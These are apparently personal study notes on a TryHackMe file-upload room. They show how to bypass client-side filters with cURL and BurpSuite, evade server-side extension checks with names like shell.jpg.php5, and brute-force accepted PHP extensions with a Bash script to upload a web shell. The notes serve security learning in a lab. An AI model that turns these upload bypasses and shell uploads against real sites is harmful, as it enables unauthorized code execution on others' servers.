Upload vulnerabilities
Bypassing client-side filtering
Direct server requests with cURL
Eg.
Task 7 of the tryhackme.com practice room (link provided at the top)
The following Javascript file defines the client-side filtering logic, which only allows file uploads of the type image/png
:
...
...
if (file.type != "image/png"){
upload.value = "";
uploadMsg.style = "display:none;";
error();
} else{
uploadMsg.innerHTML = "Chosen File: " + upload.value.split(/(\\|\/)/g).pop();
responseMsg.style="display:none;";
errorMsg.style="display:none;";
success();
}
...
...
Given the following form field in the HTML source code:
<form method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileSelect" style="display:none">
<input class="Btn" type="submit" value="Upload" name="submit" id="submitBtn">
</form>
A cURL request can be sent directly to the server — completely bypassing the client-side filter.
The -F
or --form
flag in the cURL command can be used to send form-data (given that the file shell.php
is found in the same directory):
curl 'http://java.uploadvulns.thm/' \
-H 'Host: java.uploadvulns.thm' \
-F 'fileToUpload=@shell.php;type=text/x-php'
-F 'submit=Upload'
The Content-Type header will be automatically added to the final HTTP POST request, and will look like the following:
Content-Type: multipart/form-data; boundary=------------------------xxxx
Interceping and modifying requests with BurpSuite
BurpSuite can be used to modify:
a) The GET response from the server to the client, allowing the removal of JavaScript filter logic loaded on the client side
b) The POST request sent to the server, enabling the removal of client-side filtering before the data is uploaded
Bypassing server-side filtering
1. File extension
a) Presence of valid file extension anywhere within the filename (whitelist bypass)
Some server-side filtering mechanism check if the filename contains a valid file extension without enforcing strict validation at the end of the filenam. This logic can be exploited by including the allowed extension within the filename while using a malicious extension.
A possible server-side logic:
IF STRING ".[file-ext]" IS IN VARIABLE <user_input>:
PROCEED
ELSE:
RETURN ERROR MESSAGE
Eg. Given that the valid file extension is .jpg
. A possible valid filename can be: shell.jpg.php
. This allows us to bypass the filter and upload a PHP file — providing us a platform for code execution..
b) Using uncommon file extension for the same file-type (blacklist bypass)
Some server-side filtering logic may check the file extension, and reject the file based on a blacklist. However, blacklist implementations are often incomplete, and fail to cover all possible extensions for the same file-type. This allows us to sneak a filename through the filters, which may be recognized and executed by the server.
Refer to the sub-page named: File extension cheat-sheet.
Eg. Given that .php
is blacklisted, .php5
may still be allowed. Thus, the filename shell.php5
will be accepted by the server, and may execute if configured to handle .php5
files as PHP scripts — providing us a platform for code execution.
Examples
Eg.
Task 8 of the tryhackme.com practice room (link provided at the top)
This challenge requires the combination of method 1 and 2 discussed above (**TO CONFIRM).
I decided to create a simple Bash shell script to automate the process of finding the valid filename.
php-ext.txt (wordlist of PHP file extensions)
.phtml
.php3
.php4
.php5
.php7
.phps
.php-s
.pht
.phar
Bash shell script
#!/bin/bash
file="php-ext.txt"
while IFS="" read -r cur;
do
if [[ -z "$cur" ]]; then
continue
fi
res=$(curl http://annex.uploadvulns.thm -H "Host: annex.uploadvulns.thm" -F "fileToUpload=@shell.jpg$cur;type=application/octet-stream" -F "submit=Upload" -s -o /dev/null -D - | grep 'location')
# alternatively,
# if [[ "$res" == *"/?submit=success"* ]]; then
if echo "$res" | grep -q "/?submit=success"; then
printf "FOUND: $cur"
exit 0
fi
done < "$file"
Output: FOUND: .php5
The accepted PHP shell script filename is shell.jpg.php5
.
2. Magic numbers
Magic number refers to the 4 hexadecimal digits present at the start of a file. It is used to identify the type of file, and can be viewed by using the xxd
/hexdump
command (hexeditor
to edit). This logic is implemented by some servers to detect the file-type for filtering purposes — but unfortunately, can be easily workaround.
...
** rmb do not include extra /
at the end of the path passed to gobuster -u
flag if the wordlist item already has a /
a) Fingerprint the webserver technology — nodejs, Apache/PHP, etc.
Visit webpage which returns 404 (the webserver tech may be shown)
nmap script
response headers?
$ gobuster dir -u http://magic.uploadvulns.thm/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt
/index.php
(not present in the wordlist though) returned
confirm PHP
b) Try common file upload directories for the found webserver technology (gobuster/manual?):
assets/uploads/
assets/js/ (if webserver is nodejs?)
$ gobuster dir -u http://magic.uploadvulns.thm/assets/FUZZ/background.php -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
Nothing found...
c) Upload magic-numbered file named background.jpg to overwrite file at /assets/images/background.jpg
not working
Last updated